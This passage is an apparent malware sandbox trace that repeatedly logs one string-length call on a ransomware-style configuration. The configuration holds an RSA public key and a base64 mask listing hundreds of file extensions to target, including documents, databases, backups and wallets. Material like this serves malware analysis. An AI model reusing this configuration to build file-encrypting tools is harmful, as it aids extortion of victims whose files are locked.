YSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHA